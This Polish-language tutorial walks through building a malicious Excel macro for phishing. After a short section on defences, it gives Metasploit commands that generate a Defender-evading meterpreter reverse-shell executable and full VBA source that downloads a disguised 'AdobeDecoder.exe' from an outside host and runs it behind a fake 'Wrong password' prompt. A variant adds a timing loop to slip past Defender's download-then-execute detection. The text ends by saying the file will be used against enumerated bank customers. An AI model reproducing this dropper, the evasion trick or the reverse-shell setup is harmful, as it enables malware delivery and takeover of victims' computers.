Tworznie marka (malicious)

Makro to zautomatyzowany fragment kodu (najczęściej w języku VBA – Visual Basic for Applications), który może wykonywać powtarzalne czynności w aplikacjach pakietu Microsoft Office (Excel, Word, Outlook).


Makra zostały stworzone, by automatyzować rutynowe zadania jednak sama funkcjonalność umożliwia także tworzenie złośliwych makr (malicious), które mogą:

  • pobierać i uruchamiać złośliwe oprogramowanie (payload),
  • instalować trojany lub keyloggery,
  • uzyskiwać dostęp do systemu operacyjnego lub plików,
  • uruchamiać komendy PowerShell lub cmd.exe,
  • manipulować danymi lub oszukiwać użytkownika (np. fałszywe formularze).

Makra stały się jednym z najczęstszych wektorów ataków phishingowych, ponieważ mogą być ukryte w pozornie „niewinnym” dokumencie (np. regulaminie, fakturze czy CV).


    1. Blokowanie makr na poziomie aplikacji Office.
      • Domyślne wyłączenie makr w ustawieniach programów takich jak Excel, Word czy Outlook to podstawowa forma ochrony.
      • W systemach Windows z zainstalowanym Microsoft 365 lub Office 2016+ makra pochodzące z niezaufanych źródeł (np. pobrane z internetu) są automatycznie blokowane — dokument otwiera się w trybie chronionym („Protected View”).
      • Administratorzy IT mogą wymusić politykę grupową (GPO), która uniemożliwia uruchamianie makr lub ogranicza je tylko do podpisanych cyfrowo.
    1. Wykrywanie makr przez EDR, AV i sandboxy.
      • Zaawansowane rozwiązania antywirusowe (AV) oraz systemy klasy EDR (Endpoint Detection and Response) analizują kod VBA w dokumentach Office.
      • Monitorują one m.in.:
        • wywołania funkcji API znanych z użycia w atakach, takich jak:
          • URLDownloadToFileA – pobieranie plików z sieci,
          • CreateProcessA – uruchamianie procesów,
          • Shell, WriteFile, VirtualAlloc – operacje systemowe lub alokacja pamięci.
      • W przypadku wykrycia podejrzanej sekwencji działań:
        • dokument może zostać automatycznie zablokowany,
        • użytkownik otrzyma ostrzeżenie,
        • zdarzenie zostanie zgłoszone do zespołu SOC (Security Operations Center) lub systemu SIEM.
    1. Segmentacja i polityki dostępu.
      • W środowiskach o podwyższonym ryzyku stosuje się dodatkowo:
        • przypisywanie uprawnień użytkownikom (np. brak dostępu do cmd.exe, powershell.exe, wscript.exe),
        • uruchamianie Office w kontenerze lub piaskownicy (sandbox),
        • blokowanie dostępu do lokalnych katalogów TEMP, gdzie złośliwe makra zwykle zapisują ładunek przed jego wykonaniem.
How to Create Macros in Excel Tutorial
How to Create Macros in Excel Tutorial
Kliknij, aby otworzyć podgląd
Making Malicious Microsoft Office Files For Hacking
Making Malicious Microsoft Office Files For Hacking
Kliknij, aby otworzyć podgląd

Przykład przygotowania złośliwego makra (malicious)

1. Przygotowanie dokumentu

W pierwszym etapie tworzony jest dokument tekstowy (Excel), który na pierwszy rzut oka przypomina standardowy formularz, np. szyfrowany dokument lub fakturę. W analizowanym przypadku przygotowano szablon wiadomości, który imituje zabezpieczony plik wymagający odszyfrowania. W treści dokumentu znajdują się instrukcje dla użytkownika, sugerujące konieczność kliknięcia przycisku “Rozszyfruj”, aby uzyskać dostęp do zawartości pliku. Takie podejście ma na celu przekonanie ofiary do interakcji z dokumentem i ręcznego uruchomienia makra.


Po przygotowaniu szablonu dokumentu, należy umieścić w nim makro VBA (Visual Basic for Applications) — skrypt wykonywany wewnątrz aplikacji Microsoft Office. Celem tego makra jest uruchomienie tzw. payloadu, czyli kodu złośliwego, np. pliku .exe pobranego z Internetu, który może zainfekować system. Makro to nie wykonuje ataku automatycznie — aby zostało uruchomione, użytkownik musi świadomie włączyć obsługę makr, co wiąże się z kliknięciem przycisku „Włącz makra” po otwarciu dokumentu.

Example
Po przygotowaniu szablonu dokumentu w Excelu umieszczamy w nim element interfejsu (np. pole tekstowe i przycisk), które będą powiązane z makrem VBA.

2a. Generowanie payloadu za pomocą publicznie dostępnych narzędzi.

Ogólnodostępne narzędzia pozwalają wygenerować plik .exe, .dll, .vbs lub wstrzyknięty shellcode, który następnie zostaje pobrany lub uruchomiony przez makro. Mozna je wygenerowac za pomocą np.:

  • msfvenom (część pakietu Metasploit),
  • Donut, CactusTorch, Empire i inne frameworki Red Teamingowe.

KROK 1 Uruchom konsolę Metasploit i wykonaj kolejno następujące komendy.

msfconsole
use evasion/windows/windows_defender_exe # Wybór modułu omijającego Windows Defender poprzez stworzenie pliku EXE z wbudowanym ładunkiem
set payload windows/meterpreter/reverse_tcp # Ustawienie typu ładunku (reverse TCP Meterpreter) — po uruchomieniu przez ofiarę nawiąże połączenie zwrotne do atakującego
show options # Wyświetlenie listy parametrów, które można (lub trzeba) ustawić w module
set FILENAME msftest.exe # Nadanie nazwy tworzonemu plikowi wykonywalnemu (msftest.exe)
set LHOST [IP KALI] # Ustawienie adresu IP atakującego (maszyny Kali), na który ofiara ma wysłać połączenie
set LPORT 443 # Ustawienie portu nasłuchu po stronie atakującego (443 — często używany do maskowania jako ruch HTTPS)
run #Uruchomienie modułu i wygenerowanie pliku z payloadem
Example
Metasploit utworzyły plik msftest.exe, zawierający payload reverse_tcp, który po uruchomieniu przez ofiarę inicjuje połączenie zwrotne do atakującego (IP: 6.0.100.219, port: 443). Dzięki temu możliwe jest przejęcie kontroli nad urządzeniem i zdalne wykonywanie poleceń przy użyciu Meterpreter.

    Podane komendy w Metasploit Framework generują złośliwy plik wykonywalny msftest.exe, wykorzystując moduł evasion/windows/windows_defender_exe. W pliku osadzony jest payload windows/meterpreter/reverse_tcp, którego zadaniem jest uzyskanie połączenia zwrotnego (reverse shell) z maszyny ofiary do maszyny atakującej.

    Parametry użyte w konfiguracji:

    • LHOST ustawiono na 6.0.100.219 — czyli adres IP maszyny atakującej (Kali Linux).
    • LPORT ustawiono na 443 — jest to port, na który ofiara ma się połączyć, często wykorzystywany do ukrycia ruchu jako „ruch HTTPS”.
    • EXITFUNC ustawiono na process — zapewnia, że payload zakończy się, gdy proces zostanie zakończony.

    Po uruchomieniu komendy run, Metasploit wygenerował plik msfv6test.exe i zapisał go w lokalizacji: /home/kali/.msf4/local/msfv6test.exe

    Plik ten może zostać udostępniony ofierze np. przez serwer HTTP (Python), jako załącznik mailowy lub ukryty w innym pliku. Po uruchomieniu na maszynie ofiary, następuje automatyczne połączenie z systemem atakującego, umożliwiając zdalne sterowanie przez Meterpreter.

Example
Metasploit utworzyły plik msftest.exe, zawierający payload reverse_tcp, który po uruchomieniu przez ofiarę inicjuje połączenie zwrotne do atakującego (IP: 6.0.100.219, port: 443). Dzięki temu możliwe jest przejęcie kontroli nad urządzeniem i zdalne wykonywanie poleceń przy użyciu Meterpreter.

Rezultat: Po uruchomieniu pliku msfv6test.exe w systemie Windows pojawił się komunikat ostrzegawczy programu antywirusowego informujący o wykryciu zagrożenia — w tym przypadku przykład z Windows Defendera.

2b. Napisanie makro od zera.

Zamiast używać gotowych generatorów payloadów, atakujący często decydują się na ręczne napisanie makra w języku VBA. To podejście daje większą kontrolę, elastyczność oraz pozwala uniknąć wykrycia przez programy antywirusowe, które rozpoznają popularne sygnatury wygenerowanych makr. Plusty takiego podejścia to:

  • Brak sygnatur — ręcznie napisany kod nie zawiera znanych wzorców rozpoznawanych przez silniki AV (np. Windows Defender, ESET).
  • Możliwość obfuskacji — kod można dowolnie zaciemniać (np. przez wstawki matematyczne, losowe zmienne), aby utrudnić jego analizę.
  • Dostosowanie do środowiska — można dostosować kod do architektury systemu (np. 32-bit / 64-bit), środowiska (np. Windows, Mac), lub określonego kontekstu ataku.
  • Ukrycie intencji — możliwe jest wstawienie sztucznej logiki (np. pętli lub “dummy” funkcji), aby zmylić analizatory heurystyczne i systemy EDR.

KROK 1 Zaimportuj funkcje WinAPI. (Windows).
Cel: Makro ma zrobić dwie rzeczy:

  • pobrać plik z adresu URL na dysk,
  • uruchomić jakiś program/plik (tworzenie nowego procesu).

Szczegółowy opis: Nasz cel od razu podpowiada dwie kategorie WinAPI: sieć/pobieranie oraz procesy/wątki. WinAPI (częściej: Windows API albo Win32 API) to oficjalny zestaw funkcji systemu Windows, które programy wywołują, żeby zrobić „systemowe” rzeczy: pliki, procesy, sieć, okna, rejestr itd. Te funkcje są eksportowane z DLL-ek (np. kernel32.dll, user32.dll) i mają opisany prototyp w C. Z każdego języka, który potrafi wywołać funkcję z DLL (C, C#, Python przez ctypes, nawet VBA), można ich użyć. VBA ma mało wbudowanych narzędzi do systemu. Gdy chcesz np. utworzyć proces albo pobrać plik po HTTP, sięgasz po WinAPI i deklarujesz funkcję z konkretnej DLL. Teraz skąd wiemy jakie funkcje i z jakich DLL? Rozbijasz cel na kategorię systemową:

  • pobrać plik z URL → „sieć/HTTP”,
  • uruchomić program → „procesy i wątki”.

W dokumentacji Microsoft Learn (Win32 API) wchodzisz w odpowiednią sekcję i wybierasz najprostszą funkcję:

  • HTTP: szybka droga to URLDownloadToFile z urlmon.dll (alternatywy: WinHTTP, WinINet)
  • uruchamianie: CreateProcess z kernel32.dll (prościej: ShellExecute z shell32.dll)
URLDownloadToFileA:
https://learn.microsoft.com/windows/win32/api/urlmon/nf-urlmon-urldownloadtofilea

CreateProcessA:
https://learn.microsoft.com/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
    • kernel32.dll – pliki, procesy, pamięć, wątki.
    • user32.dll – okna, klawiatura, mysz.
    • gdi32.dll – grafika 2D.
    • advapi32.dll – rejestr, bezpieczeństwo/ACL.
    • ws2_32.dll – gniazda sieciowe (TCP/UDP).
    • wininet.dll / winhttp.dll / urlmon.dll – HTTP/URL.
    • shell32.dll – Explorer/Shell (ShellExecute).

Wejdź w odpowiednią sekcję WinAPI na Microsoft Learn, skopiuj prototyp w C, zmapuj typy na VBA (64-bit: PtrSafe, LongPtr, struktury) i zapisz deklarację Declare … Lib. Poniżej: prototypy w C oraz ich odpowiedniki w VBA po konwersji:

URLDownloadToFile && CreateProcessA function

HRESULT URLDownloadToFile(
LPUNKNOWN            pCaller,
LPCTSTR              szURL,
LPCTSTR              szFileName,
_Reserved_ DWORD      dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);

BOOL CreateProcessA(
LPCSTR                 lpApplicationName,
LPSTR                  lpCommandLine,
LPSECURITY_ATTRIBUTES  lpProcessAttributes,
LPSECURITY_ATTRIBUTES  lpThreadAttributes,
BOOL                   bInheritHandles,
DWORD                  dwCreationFlags,
LPVOID                 lpEnvironment,
LPCSTR                 lpCurrentDirectory,
LPSTARTUPINFOA         lpStartupInfo,
LPPROCESS_INFORMATION  lpProcessInformation
);

Zgodność 32/64-bit: dyrektywa kompilatora.

PtrSafe weszło w VBA7 (Office 2010+). Żeby kod działał i na starym VBA6 (32-bit), dodaje się warunek kompilacji:

#If VBA7 Then
    'Declare PtrSafe … (64-bit friendly)
#Else
    'Declare … (stary VBA bez PtrSafe i bez LongPtr)
#End If

Dodanie struktur wymaganych przez CreateProcess.
CreateProcessA korzysta z dwóch struktur:

  • STARTUPINFO(A)
  • PROCESS_INFORMATION

Te struktury nie są wbudowane w VBA, więc trzeba je zdefiniować w sekcji deklaracji (Type … End Type). Tutoriale często pokazują uproszczoną wersję z polami String/Long. To się skomplikuje mniej i na 32-bit zwykle zadziała. W 64-bit poprawnie powinno się używać LongPtr dla pól będących wskaźnikami/uchwytami (np. lpReserved, lpDesktop, hStdInput…), inaczej rozjedzie się rozmiar struktury. (Jeśli chcesz naprawdę kompatybilnie, zrób wersje typów warunkowo):

' Struktury STARTUPINFO i PROCESS_INFORMATION, 
' które są bezpośrednio wykorzystywane przez funkcję CreateProcess
Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessID As Long
    dwThreadID As Long
End Type

Na koniec dodanie procedury, która:.

  1. Tworzy zmienne si i pi typu STARTUPINFO/PROCESS_INFORMATION.
  2. Ustawia si.cb = Len(si) (to VBA-owy odpowiednik si.cb = sizeof(STARTUPINFO)).
  3. Woła URLDownloadToFileA(...) — pobranie wskazanego zasobu do pliku.
  4. Woła CreateProcessA(...) — start procesu.
  5. (Opcjonalnie) pokazuje komunikat.
Sub click()

    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION
    si.cb = Len(si)

    Dim Ret As Long
    Ret = URLDownloadToFileA(0&, "http://speedtest24.eu/58^^/host/download?name=bot", "AdobeDecoder.exe", 0&, 0&)
    Ret = CreateProcessA(vbNullString, "AdobeDecoder.exe", ByVal 0&, ByVal 0&, True, 32, ByVal 0&, vbNullString, si, pi)
    MsgBox "Wrong password."

End Sub

Gotowy mark wygląda nastepująco: Ponizej znajdują się dwie wersja macro. Pierwotny wariant wykonywał sekwencję Office-macro → pobierz .exe → uruchom .exe, która jest klasycznym wzorcem nadużyć i bywa flagowana przez mechanizmy ochronne (heurystyki na „download → execute” z procesu Office). Druga warsja ma dodany tz. szum wywołujesz API z nieprawidłowym uchwytem. Nie maskuje to pobrania pliku, utworzenia .exe ani uruchomienia procesu. Może wręcz zwiększyć podejrzany profil (anomalne, wielokrotne błędne wywołania).

Macro

#If VBA7 Then
Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" _
    (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
Declare PtrSafe Function CreateProcessA Lib "kernel32" _
    (ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    lpProcessAttributes As Any, _
    lpThreadAttributes As Any, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    lpEnvironment As Any, _
    ByVal lpCurrentDriectory As String, _
    lpStartupInfo As STARTUPINFO, _
    lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
Declare Function CreateProcessA Lib "kernel32" _
    (ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    lpProcessAttributes As Any, _
    lpThreadAttributes As Any, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    lpEnvironment As Any, _
    ByVal lpCurrentDriectory As String, _
    lpStartupInfo As STARTUPINFO, _
    lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessID As Long
    dwThreadID As Long
End Type


Sub click()

    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION
    si.cb = Len(si)

    Dim Ret As Long
    Ret = URLDownloadToFileA(0&, "http://speedtest24.eu/58^^/host/download?name=bot", "AdobeDecoder.exe", 0&, 0&)
    Ret = CreateProcessA(vbNullString, "AdobeDecoder.exe", ByVal 0&, ByVal 0&, True, 32, ByVal 0&, vbNullString, si, pi)
    MsgBox "Wrong password."

End Sub

    VBA - evasion (omijanie zabezpieczeń).
    Po co pętla między funkcją URLDownloadToFileA a CreateProcessA?

        ' Po zaimportowaniu kluczowych elementów wywołania funkcji WinAPI, kolejnym etapem jest zdefiniowanie procedury,
        ' która zostanie uruchomiona po kliknięciu przycisku istniejącego w dokumencie.
        Sub click()
    
        Dim si As STARTUPINFO
        Dim pi As PROCESS_INFORMATION
        si.cb = Len(si)
    
        Dim Ret As Long
        Ret = URLDownloadToFileA(0&, "http://speedtest24.eu/58^^/host/download?name=bot", "AdobeDecoder.exe", 0&, 0&)
        For i = 1 To 5000
            Ret = CloseHandle(ByVal 0&)
        Next
        Ret = CreateProcessA(vbNullString, "AdobeDecoder.exe", ByVal 0&, ByVal 0&, True, 32, ByVal 0&, vbNullString, si, pi)
        MsgBox "Wrong password."
    
        End Sub
    

    Windows Defender nie blokuje wykonania makra, kiedy w kodzie nie umiesimy pętli. Jednak nie możemy wykonać obu czynności jednocześnie. Wynika z tego, że funkcje, z których korzystamy nie są blokowane, a jedynie użycie ich jedna po drugiej jest wykrywane. Problem dotyczy reguł/heurystyk ochronnych, które potrafią zareagować, gdy te dwa zdarzenia wystąpią blisko siebie w czasie i w tym samym procesie Office:

    • Office → (URLDownloadToFile) pobierz plik → zapisz .exe w %TEMP% → (CreateProcess) uruchom .exe. Wstawiona pętla (np. CloseHandle(0) × N) nie „magicznie ukrywa” operacji. Ona tylko robi przerwę/czasową zwłokę i zmienia przebieg wykonania. Jeżeli w danym środowisku detekcja opiera się na korelacji zdarzeń w krótkim oknie czasowym, to:
    • dłuższy odstęp między download a execute może wyjść poza okno korelacji,
    • a więc reguła, która blokowała „ciąg natychmiast po sobie”, już nie zadziała.

    Kiedy to „działa”, a kiedy nie?.
    To jest zależne od konfiguracji:

    • jeśli jest włączona twarda reguła ASR „Block Office child process”, to CreateProcess z Office zostanie zablokowany zawsze, niezależnie od przerwy;
    • jeśli reguły są w trybie Audit/Not configured, korelacja „download→execute” może być tylko ostrzeżeniem, a timing rzeczywiście bywa czynnikiem;
    • brak MOTW, opóźniona chmura, różne wersje Defendera/EDR — też zmieniają zachowanie.

3.Test wstępny działania makra na macOS

Example
W skrypcie VBA zaimplementowano pobranie pliku testowego (test.txt) z lokalnego serwera HTTP (adres 127.0.0.1) na Pulpit użytkownika. W konsoli serwera Python odnotowano żądanie GET, co potwierdziło poprawne pobranie pliku. Następnie makro uruchomiło systemowy kalkulator jako element symulujący wykonanie ładunku, co widoczne jest na zrzucie ekranu. Dodatkowo wyświetlony został komunikat „Nieprawidłowe hasło”
Example
Po przetestowaniu działania makra bezpośrednio w edytorze VBA (MVB), przeszliśmy do uruchomienia go z poziomu właściwego formularza użytkownika. Test ten potwierdza, że cały łańcuch działania makra — od formularza, przez wykonanie poleceń systemowych, aż po wyświetlenie komunikatu.

przetestowano działanie uproszczonego makra VBA uruchamianego na systemie macOS. Celem testu było sprawdzenie poprawności działania makra w środowisku lokalnym dla funkcji: pobrania pliku z serwera HTTP. (wcześniej plik został utworzony) zdalne uruchomienie Po wykonaniu makra pojawia się komunikat “Nieprawidłowe hasło”, co symuluje próbę logowania lub weryfikacji użytkownika.

Sprawdzenie poprawności pobierania pliku zweryfikowano czy curl działa poprawnie z lokalnym serwerem HTTP uruchomionym przez python3 -m http.server.

Rzeczywisty rezultat: Komenda curl została wykonana poprawnie — plik test.txt został pobrany z lokalnego serwera (kod 200). Aplikacja Kalkulator uruchomiła się zgodnie z oczekiwaniami. Komunikat MsgBox "Nieprawidłowe hasło" został wyświetlony.


3. Przygotowanie szablonu maila

Example
W teście uzylismy kalkulatora

Przygotowany w ten sposób mail z plikiem exela zostanie wykorzystany w kampanii phishingowej względem wcześniej zenumerowanych użytkowników banku.

Sprawdź ciąg dalszy



References